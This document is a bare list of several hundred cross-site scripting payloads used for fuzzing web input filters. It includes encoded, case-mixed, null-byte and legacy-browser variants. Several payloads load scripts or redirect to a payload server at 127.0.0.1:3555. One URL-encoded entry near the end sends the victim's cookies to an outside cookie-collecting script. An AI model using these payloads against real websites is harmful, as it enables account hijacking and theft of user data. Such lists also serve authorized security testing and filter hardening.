常用xss fuzz 列表 / 憋错料

-alert(1)-

-prompt(1)-

javascript:confirm(1)

javascript:confirm(1);

javascript:alert(1)

javascript:alert(1);

avascript:alert(1)

javaSCRIPT&colon;alert(1)

JaVaScRipT:alert(1)

javas&Tab;cript:\u0061lert(1);

javascript:\u0061lert(1&#x29

javascript:alert(document&period;cookie)

vbscript:alert(1);

vbscr&Tab;ipt:alert(1)"

‘‘;!--"<KCF>=&{()}

<SCRIPT>+alert("KCF");</SCRIPT>

<SCRIPT>+alert("KCF")</SCRIPT>

‘ ‘><script>alert(1)</script>

‘‘><script>alert(1)</script>

???script?alert(1)?/script?

</script><script>alert(1)</script>

<scr\x00ipt>confirm(1);</scr\x00ipt>

<form action=‘data:text/html,<script>alert(1)&lt/script&gt‘><button>CLICK

<form action=‘java&Tab;scri&Tab;pt:alert(1)‘><button>CLICK

<form action="&Tab;javas&Tab;cript&Tab;:alert(‘KCF :)‘)" autocomplete="on"> First name:<input type="text" name="fname"><br><input type="submit"></form>

<form id="myform" value="" action=javascript&Tab;:eval(document.getElementById(‘myform‘).elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="Absenden"></form>

‘">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/KCF/) type=submit>‘-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>‘"><img src="http://127.0.0.1:3555/xss_serve_payloads/kcf.jpg">

<form id="myform" value=""+{valueOf:location,length:1,__proto__:[],0:"javascript :alert (1)"}"action=javascript&Tab;:eval(document.getElementById(‘myform‘).elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="Absenden"></form>

<img/src=‘http://127.0.0.1:3555/xss_serve_payloads/kcf.jpg‘ onmouseover=&Tab;prompt(1)

<iframesrc="javascript:alert(2)">

<isindexformaction="javascript:alert(1)" type=image>

<form><button formaction=javascript&colon;alert(1)>CLICKME

“/><marquee onfinish=confirm(1)>a</marquee>

<img src= "a" onerror= ‘eval(atob("cHJvbXB0KDEpOw=="))‘

‘;!--"<XSS><script>alert(1);</script>={()}

asfunction:getURL,javascript:alert(1)//

\%22))}catch(e){}if(!self.a)self.a=!alert(1)//

"]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;//

0%5C"))%7Dcatch(e)%7Bif(!window.x)%7Bwindow.x=1;alert(1)%7D%7D//

<listing>&ltimg src=x onerror=alert(1)&gt</listing>

"onmouseover=alert(1);a="

‘+alert(1)&&null==‘

+alert(1)&&null==‘

\\\‘><script>1<\\/script>

\\\‘><body onload=\\\‘1\\\‘>

\"><script>1<\\/script>

><script>1<\\/script>

\"><body onload=\"1\">

<img src=a onerror=alert(1)

\‘\‘\">

<scri%00pt>alert(1);</scri%00pt>

<scri\x00pt>alert(1);</scri%00pt>

<s%00c%00r%00%00ip%00t>confirm(1);</s%00c%00r%00%00ip%00t>

<%0ascript>alert(1);</script>

<%0bscript>alert(1);</script>

<SCRIPT> alert(\"1\");</SCRIPT>

<SCRIPT> alert(\"1\")</SCRIPT>

%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80?

<img src ?itworksonchrome?\/onerror = alert(1)???

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>?

"><img src=x onerror=window.open(‘http://127.0.0.1:3555/xss_serve_payloads/kcf.html"‘);>

<marquee/onstart=confirm(2)>/

<body/onload=javascript:window.onerror=eval;throw‘=alert\x281\x29‘;

<a onmouseover=location=’javascript:alert(1)>click

<body onfocus="location=‘javascrpt:alert(1) >123

eval("s=document.createElement(‘script‘);alert(1);document.getElementsByTagName(‘head‘)[0].appendChild(s)")

"><meta http-equiv="refresh" content="0;url=http://127.0.0.1:3555/xss_serve_payloads/kcf.html"

"><meta http-equiv="refresh" content="0;url=http://127.0.0.1:3555/xss_serve_payloads/kcf.html">

javascript:/*–></marquee></script></title></textarea></noscript></style></xmp>”> [img=1]<img -/style=-=expression&#40/*’/-/*‘,/**/eval(name)//);wi dth:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript :eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>”"/>

<img src=”<img src=x”/onerror=alert(1)//”> Jquery: <img/src/onerror=alert(1)>

<input id=x><input id=x><script>alert(x)</script>

<a href="invalid:1" id=x name=y>test</a><a href="invalid:2" id=x name=y>test</a><script>alert(x.y[0])</script>

<a href=1 name=x>test</a><a href=1 name=x>test</a><script>alert(x.removeChild)alert(x.parentNode)</script>

<a href="123" id=x>test</a><script>x=‘javascript:alert(1)‘;</script>

<form name=self location="javascript:alert(1)"></form><script>if(top!=self){top.location=self.location}</script>

<form name=self location="javascript&#58;alert(1)"></form><script>if(top!=self){top.location=self.location}</script>

%3Cimg%20name%3DgetElementsByTagName%20src%3D1%20%20onerror%3Dalert(1)%3E

%3Cform%20onmouseover%3Dalert(1)%3E%3Cinput%20name%3Dattributes%3E

<a/onmouseover[\x0b]=location=‘\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x31\x29\x3B‘>KCF

data:text/html,%3Cscript%3Ealert(1)%3C%2Fscript%3E

window.name//‘name="javascript:alert("KCF")

<%div%20style=xss:expression(prompt(1))>

%22]);}catch(e){}if(!self.a)self.a=!alert(1);/

<SCRIPT>a=/KCF/\nalert(1);</SCRIPT>

<scr/**/ipt>alert(1)</sc/**/ipt>

#<script>alert(1)</script>

\‘><script>KCF<\/script>

\‘><body onload=\‘KCF\‘>

"><script>KCF<\/script>

><script>KCF<\/script>

"><body >

<img src=a onerror=alert(1)%0A>a

onmouseover=alert(1);

<<SCRIPT>alert(1);/

<SCRIPT>a=/kcf/

alert(1)

alert(String.fromCharCode(49))

alert(/1/.source)

eval(‘alert(1)‘)

this[‘EvAL‘.toLowerCase()](‘aLErT(1)‘.toLowerCase())

(alert(1)).replace(/.+/,eval);

\u0061\u006c\u0065\u0072\u0074(1)

eval(‘\u00‘ + ‘6‘ + ‘1‘+‘le‘ + ‘\u0072‘ + ‘t(1)‘)

eval(‘\141\154\145\162\164\50\61\51‘)

eval(‘\x61\x6c\x65\x72\x74(1)‘)

eval(‘\x61ler\x74(1)‘)

top[‘a\x6Cert‘](1)

x=‘\x61\x6c\x65\x72\x74\x28\x31\x29‘;new Function(x)()

setTimeout(‘alert(1)‘,0)

setTimeout(\u0061\u006c\u0065\u0072\u0074(1),0);

onerror=eval;throw‘alert\x281\x29‘;

expression(URL=0)

expr\65 ssion(URL=0)

expr\65 ss/*???*/ion(URL=0);

expression\28URL=0\29

expr\65 ss/*\%/ion\28URL=0\29

\000045xpr\000065 ss/*BlABl/\\aaaaa!!!*

javascript&colon;alert(1)

javascript:alert(1)

javAscRipt:alert(1)

feed:javascript:alert(1)

feed:javascript&colon;alert(1)

feed:data:text/html,%3cscript%3ealert%281%29%3c/script%3e

feed:data:text/html,%3csvg%20onload=alert%281%29%3e

data:text/html,%3Cscript%3Ealert(1)%3C/script%3E

data&colon;text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=

data:_;;;:;base64_______,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=

data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=

"><script>alert(String.fromCharCode(75,67,70))</script>

<SCRIPT>x=/KCF/ alert(x.source)</SCRIPT>

<ScRiPt+>prompt(1)</ScRiPt>

"><img src=/ onerror=alert(1);>

<ScriPt>ALeRt(“ KCF ”)</scriPt>

”><script>alert(“KCF”)</script>

’><script>alert(1)</script>

&<script>alert(1);</script>

&{alert(1);};

<a href="about:<script>alert(1);</script>">

[\xC0][\xBC]script>alert(1);[\xC0][\xBC]/script>" };

<![CDATA[</script>

<script>alert(1);</script>

javascript:/*-->]]>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img -/style=a:expression&#40&#47&#42‘/-/*&#39,/**/eval(name)/*%2A///*///);width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>"

"><meta HTTP-EQUIV="REFRESH" content="0; url=http://127.0.0.1:3555/xss_serve_payloads/kcf.html">

"><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=">

"><META HTTP-EQUIV="refresh" CONTENT="0;url=data:image/svg+xml; base64,PHNjcmlwdD5hbGVydCgnS0NGJyk8L3NjcmlwdD4=">

<SCRIPT =">" SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT>

<SCRIPT a=">" SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT>

<SCRIPT a=">" ‘‘ SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT>

<SCRIPT "a=‘>‘" SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT>

<SCRIPT a=`>` SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT>

<SCRIPT a=">‘>" SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT>

<SCRIPT =">" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>

<SCRIPT a=">" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>

<SCRIPT a=">" ‘‘ SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>

<SCRIPT "a=‘>‘" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>

<SCRIPT a=`>` SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>

<SCRIPT a=">‘>" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>

“><script>prompt(1)</script>

“><script>alert(String.fromCharCode(75,67,70))</script>

‘><script>prompt(1)</script>

‘><script>alert(String.fromCharCode(75,67,70))</script>

<ScRIPt>prompt(1)</ScRIPt>

<ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>

“><ScRIPt>prompt(1)</ScRIPt>

“><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>

‘><ScRIPt>prompt(1)</ScRIPt>

‘><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>

</script><script>prompt(1)</script>

</script><script>alert(String.fromCharCode(75,67,70))</script>

“/><script>prompt(1)</script>

“/><script>alert(String.fromCharCode(75,67,70))</script>

‘/><script>prompt(1)</script>

‘/><script>alert(String.fromCharCode(75,67,70))</script>

</SCRIPT>”><SCRIPT>prompt(1)</SCRIPT>

</SCRIPT>”><SCRIPT>alert(String.fromCharCode(75,67,70))

</SCRIPT>”>”><SCRIPT>prompt(1)</SCRIPT>

</SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>

%27%3E%3C%73%63%72%69%70%74%3E%4B%43%46%3C%2F%73%63%72%69%70%74%3E

%22%3E%3C%73%63%72%69%70%74%3E%4B%43%46%3C%2F%73%63%72%69%70%74%3E

%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%34%42%25%34%33%25%34%36%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45

%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%34%42%25%34%33%25%34%36%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45

%25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%34%35%25%32%35%25%33%33%25%34%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%34%35%25%32%35%25%33%34%25%34%32%25%32%35%25%33%34%25%33%33%25%32%35%25%33%34%25%33%36%25%32%35%25%33%33%25%34%33%25%32%35%25%33%32%25%34%36%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%34%35

<marquee>Kerala Cyber Force</marquee>

‘‘;}}</script><script>alert(1)</script>

></title><script>alert(KCF)</script>‘"><marquee><h1>Kerala Cyber Force</h1></marquee>

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT>

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>

‘;!–<SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{}

!–<SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{}

<img src="blah>" onmouseover="alert(1);">

<IMG SRC="javascript:alert(1);"

</TITLE><SCRIPT>alert(1);</SCRIPT>

<IMG """><SCRIPT>alert(1)</SCRIPT>">

<img/src="1"/onerror="alert(1)"

SCRIPT>">‘><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>

<body >

‘ style=abc:expression(KCF) ‘ \" style=abc:expression(KCF) \"

" type=image src=null onerror=KCF " \‘ type=image src=null onerror=KCF \‘

onload=‘KCF‘ \" onload=\"KCF\"/onload=\"KCF\"/onload=‘KCF‘/

\‘\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=KCF>

<<scr\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/kcf.js></script

<<scr\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></script

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1);</x:script>

";location=‘javascript:alert(1)‘;

";location=location.hash)//#0={};alert(1)

";eval(unescape(location))//#%0Aalert(1)

<b "<script>alert(1)</script>">KCF</b>

</a onmousemove="alert(1)">

data:text/html,<script>alert(1)</script>

?script?alert(￠KCF￠)?/script?

<SCRIPT <B>alert(1);</SCRIPT>

<<SCRIPT>alert(1);//<</SCRIPT>

<<script>alert(1);</script>

<IMG SRC="javascript:alert(1)"

<SCRIPT>a=/KCF/alert(a.source)</SCRIPT>

\";alert(1);//

"><img src=x onerror=prompt(1);>

<ScRIPT x src=//0x.lv?</style></script><script>alert(String.fromCharCode(75,67,70))</script><script src=http://127.0.0.1:3555/xss_serve_payloads/kcf.js>

<ScRIPT x src=//0x.lv?</style></script><script>alert(String.fromCharCode(75,67,70))</script><script src=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp>

</script><script>alert(KCF

%7D%3C/style%3E43%27%22%3E%3C/title%3E%3Cscript%3Ea=eval;b=alert;a(b(/KCF/.source));%3C/script%3E%27%22%3E%3Cmarquee%3E%3Ch1%3EKCF%3C/h1%3E%3C/marquee%3E

‘)alert(1);

");alert(1);

“;alert(“KCF”);”

“;alert(String.fromCharCode(75,67,70));”

‘;alert(“KCF”);’

‘;alert(String.fromCharCode(75,67,70));’

“;alert(“KCF”)

“;alert(String.fromCharCode(75,67,70))

‘;alert(“KCF”)

‘;alert(String.fromCharCode(75,67,70))

“><script >alert(1)</script>

“><s”%2b”cript>alert(1)</script>

“><ScRiPt>alert(1)</script>

“><<script>alert(1);//<</script>

foo%00<script>alert(1)</script>

<scr<script>ipt>alert(1)</scr</script>ipt>

‘;alert(String.fromCharCode(75,67,70))//\‘;alert(String.fromCharCode(75,67,70))//";alert(String.fromCharCode(75,67,70))//\";alert(String.fromCharCode(75,67,70))//--></SCRIPT>">‘><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>

‘‘;!--"<KCF>=&{()}

<IMG """><SCRIPT>alert(1)</SCRIPT>">

<STYLE>li {list-style-image: url("javascript:alert(1)");}</STYLE><UL><LI>KCF

<STYLE>@im\port‘\ja\vasc\ript:alert(1)‘;</STYLE>

exp/*<A STYLE=‘no\kcf:nokcf("*//*");kcf:ex/*KCF*//*/*/pression(alert(1))‘>

<STYLE TYPE="text/javascript">alert(1);</STYLE>

<STYLE>.KCF{background-image:url("javascript:alert(1)");}</STYLE>

<STYLE type="text/css">BODY{background:url("javascript:alert(1)")}</STYLE>

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<? echo(‘<SCR)‘;echo(‘IPT>alert(1)</SCRIPT>‘); ?>

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(1)</SCRIPT>">

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-

<XML ID=0><I><B><IMG SRC="javascript:alert(1)"></B></I></XML>

a="get";b="URL(\"";c="javascript:";d="alert(1);\")";eval(a+b+c+d);

<?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="KCF<SCRIPT DEFER>alert("KCF")</SCRIPT>"></BODY></HTML>

<xml id="X"><a><b><script>alert(1);</script>;</b></a></xml>

%253cscript%253ealert(1)%253c/script%253e

foo\’; alert(1);//’;

</script><script >alert(1)</script>

‘; alert(1); var foo=’

><img src="x:x" onerror=alert(1)>

s%22%20style=x:expression(alert(1))

s%22%20style=%22background:url(javascript:alert(’KCF’))

s%22%20%22+STYLE%3D%22background-image%3A+expression%28alert%28%27KCF%3F%29%29

%22/%3E%3Cmeta%20http-equiv=refresh%20content=0;javascript:alert(1);>

perl -e ‘print "<IMG SRC=java\0script:alert(\"KCF\")>";‘ > out

perl -e ‘print "<SCR\0IPT>alert(\"KCF\")</SCR\0IPT>";‘ > out

perl -e ‘print "<IMG SRC=java\0script:alert(1)>";‘> out

<<SCRIPT>alert(1);//<</SCRIPT>

<IMG SRC="javascript:alert(1)"

<SCRIPT>a=/KCF/

alert(a.source)</SCRIPT>

</TITLE><SCRIPT>alert(1);</SCRIPT>

<STYLE>li {list-style-image: url("javascript:alert('KCF')");}</STYLE><UL><LI>KCF

<STYLE>@im\port‘\ja\vasc\ript:alert(1)‘;</STYLE>

exp/*<A STYLE=‘no\KCF:noKCF("*//*");

<STYLE TYPE="text/javascript">alert(1);</STYLE>

<STYLE>.KCF{background-image:url("javascript:alert(1)");}</STYLE><A class="KCF"></A>

<STYLE type="text/css">BODY{background:url("javascript:alert(1)")}</STYLE>

<SCRIPT>alert(1);</SCRIPT>

a="get"; b="URL(\""; c="javascript:"; d="alert(1);\")"; eval(a+b+c+d);

</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

<XML ID=0><I><B>&lt;IMG SRC="javascript:alert(1)"&gt;</B></I></XML>

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<?import namespace="t" implementation="#default#time2">

<t:set attributeName="innerHTML" to="KCF&lt;SCRIPT DEFER&gt;alert(&quot;KCF&quot;)&lt;/SCRIPT&gt;">

</BODY></HTML>

<? echo(‘<SCR)‘;

echo(‘IPT>alert(1)</SCRIPT>‘); ?>

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-

<form id="test" /><button form="test" formaction="javascript:alert(1)">X

<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>

<b <script>alert(1)//</script>0</script></b>

<? foo="><script>alert(1)</script>">

<! foo="><script>alert(1)</script>">

</ foo="><script>alert(1)</script>">

<? foo="><x foo=‘?><script>alert(1)</script>‘>">

<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">

<% foo><x foo="%><script>alert(1)</script>">

<div id=d><x xmlns="><iframe onload=alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>

<img[a][b]src=x[d]onerror[c]=[e]"alert(1)">

<img src="x` `<script>alert(1)</script>"` `>

<!a foo=x=`y><img alt="`><img src=x:x onerror=alert(2)//">

<?a foo=x=`y><img alt="`><img src=x:x onerror=alert(3)//">

<!-- `<img/src=xx:xx onerror=alert(1)//--!>

<xmp> <% </xmp> <img alt=‘%></xmp><img src=xx:x onerror=alert(1)//‘> <script> x=‘<%‘ </script> %>/ alert(2) </script> XXX <style> *[‘{} *{color:red}</style>

<img src=x onerror=alert(1)//">

* {-o-link:‘javascript:alert(1)‘;-o-link-source: current;}

<// style=x:expression\28write(1)\29>

<div id=d><div style="font-family:‘sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B‘">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>

+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);

0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts(‘data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk‘))

<?xml-stylesheet href="javascript:alert(1)"?><root/>

<!DOCTYPE x[<!ENTITY x SYSTEM "http://127.0.0.1:3555/xss_serve_payloads/kcf.html">]><y>&x;</y>

<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>

<?xml-stylesheet type="text/xsl" href="#" ?> <stylesheet xmlns="http://www.w3.org/TR/WD-xsl"> <template match="/"> <eval>new ActiveXObject('htmlfile').parentWindow.alert(1)</eval> <if expr="new ActiveXObject(‘htmlfile‘).parentWindow.alert(2)"></if> </template> </stylesheet>

<!ENTITY x "<html:img src=‘x‘ xmlns:html=‘http://www.w3.org/1999/xhtml‘ onerror=‘alert(1)‘/>">

X<x style=`behavior:url(#default#time2)` onbegin=`write(1)` >

1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=alert(1)>`>

1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert(1)>>

1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#kcf></vmlframe>

1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>

<SCRIPTLET> <IMPLEMENTS Type="Behavior"></IMPLEMENTS><SCRIPT Language="javascript">alert(1)</SCRIPT></SCRIPTLET>

<?xml version="1.0"?> x><payload><![CDATA[<img src=x onerror=alert(1)>]]></payload></x>

<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>

object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>

class kcf {public static function main() { flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||"javascript:alert(1)"),flash.Lib._root.name||"_top"); }}

<div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>

X<form id=test onforminput=javascript:alert(1)><input></form>

X<form id=test><input></form><button form=test onformchange==javascript:alert(1)>X

<marquee<marquee/onstart=confirm(1)>/onstart=confirm(1)>

<body language=vbsonload=alert-1

eval("aler"+(!![]+[])[+[]])("KCF")

this["alert"]("KCF")

window["alert"]("KCF")

this[‘ale‘+(!![]+[])[-~[]]+(!![]+[])[+[]]]()

< %3C &lt < &LT &LT; &#60 &#060 &#0060 &#00060 &#000060 &#0000060 < < < < < < &#x3c &#x03c &#x003c &#x0003c &#x00003c &#x000003c < < < < < < &#X3c &#X03c &#X003c &#X0003c &#X00003c &#X000003c < < < < < < &#x3C &#x03C &#x003C &#x0003C &#x00003C &#x000003C < < < < < < &#X3C &#X03C &#X003C &#X0003C &#X00003C &#X000003C < < < < < < \x3c \x3C \u003c \u003C

<A HREF="http://127.0.0.1:3555/xss_serve_payloads/[email protected]">KCF</A

document.write(‘<iframe src="http://127.0.0.1:3555/xss_serve_payloads/kcf.html" style="border: 0; width: 100%; height: 100%"></iframe>‘)

http://%22%20onerror=%22alert%281%29;//

document.location=‘http://127.0.0.1:3555/xss_serve_payloads/kcf.html‘

document.location="http://127.0.0.1:3555/xss_serve_payloads/kcf.html"

\"><script>alert(/KCF/)<script>

;alert%28String.fromCharCode%2875,67,70%29%29//\%27;alert%28String.fromCharCode%2875,67,70%29%29//%22;alert%28String.fromCharCode%2875,67,70%29%29//\%22;alert%28String.fromCharCode%2875,67,70%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2875,67,70%29%29%3C/SCRIPT%3E

<SCRIPT FOR=document EVENT=onreadystatechange>prompt(1)</SCRIPT>

<img[a][b]src=x[d]onerror[c]=[e]"prompt(1)">

‘-prompt("KCF")-‘

‘-prompt(kcf)‘

‘-prompt(KCF)-‘

‘-alert("KCF")-‘

‘;alert(String.fromCharCode(75,67,70))//‘;alert(String.fromCharCode(75,67,70))//";

alert(String.fromCharCode(75,67,70))//";alert(String.fromCharCode(75,67,70))//--></SCRIPT>">‘><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>

\";alert(‘KCF‘);//

exp/*<A STYLE=‘no\kcf:nokcf("*//*");kcf:ex/*KCF*//*/*/pression(alert("KCF"))‘>

‘"--></style></script><script>alert("KCF")</script>

‘"--></style></script><script>prompt(1)</script>

&‘"><script>alert(/kcf/)</script>

%26‘%22%3E%3Cscript%3Ealert(%2Fkcf%2F)%3C%2Fscript%3E%3D

&‘">PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4

&‘">/‘-C<FEP=#YA;&5R="@O>‘-S+RD\+W-C<FEP=#.

&‘">\u{3c}\u{73}\u{63}\u{72}\u{69}\u{70}\u{74}\u{3e}\u{61}\u{6c}\u{65}\u{72}\u{74}\u{28}\u{2f}\u{78}\u{73}\u{73}\u{2f}\u{29}\u{3c}\u{2f}\u{73}\u{63}\u{72}\u{69}\u{70}\u{74}\u{3e}

&‘">\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u002f\u0078\u0073\u0073\u002f\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e

&‘">0x3c7363726970743e616c657274282f7873732f293c2f7363726970743e

&‘">-1,54,38,53,44,51,55,-1,36,47,40,53,55,-1,-1,59,54,54,-1,-1,-1,-1,54,38,53,44,51,55,-1

&‘">PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=

&‘">3e7470697263732f3c292f7373782f287472656c613e7470697263733c

&‘">chr(60).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62).chr(97).chr(108).chr(101).chr(114).chr(116).chr(40).chr(47).chr(120).chr(115).chr(115).chr(47).chr(41).chr(60).chr(47).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62)

&‘">TypeError: Cannot read property ‘$content$‘ of undefined

&‘">\74\163\143\162\151\160\164\76\141\154\145\162\164\50\57\170\163\163\57\51\74\57\163\143\162\151\160\164\76

&‘"><script>alert(/kcf/)</ā??>

&‘">%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u002f%u0078%u0073%u0073%u002f%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e

&‘">\uff1c\uff53\uff43\uff52\uff49\uff50\uff54\uff1e\uff41\uff4c\uff45\uff52\uff54\uff08\uff0f\uff58\uff53\uff53\uff0f\uff09\uff1c\uff0f\uff53\uff43\uff52\uff49\uff50\uff54\uff1e

&‘"><script>alert(/kcf/)</script>

&‘">Description:Syntax error Msg:Unexpected token < )

</script><svg onload=‘-/"/-alert(1)//‘>

<![CDATA[<script>alert(kcf)</script>]]>

[data "1<div style=width:expression(prompt(1))>"]

+onerror=alert(1)%3E/

+onerror=prompt(1)%3E/

?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

?#?gad=xxxx"

#?gad=xxxx"

/#?gad=xxxx"

“><script >alert(1)</script >

“><ScRiPt>alert(1)</ScRiPt>

“%3e%3cscript%3ealert(1)%3c/script%3e

“><scr<script>ipt>alert(1)</scr</script>ipt>

%00“><script>alert(1)</script>

</a onmousemove=alert(1)>

<event-source src=javascript:alert(1)>

<[%00]img onerror=alert(1) src=a>

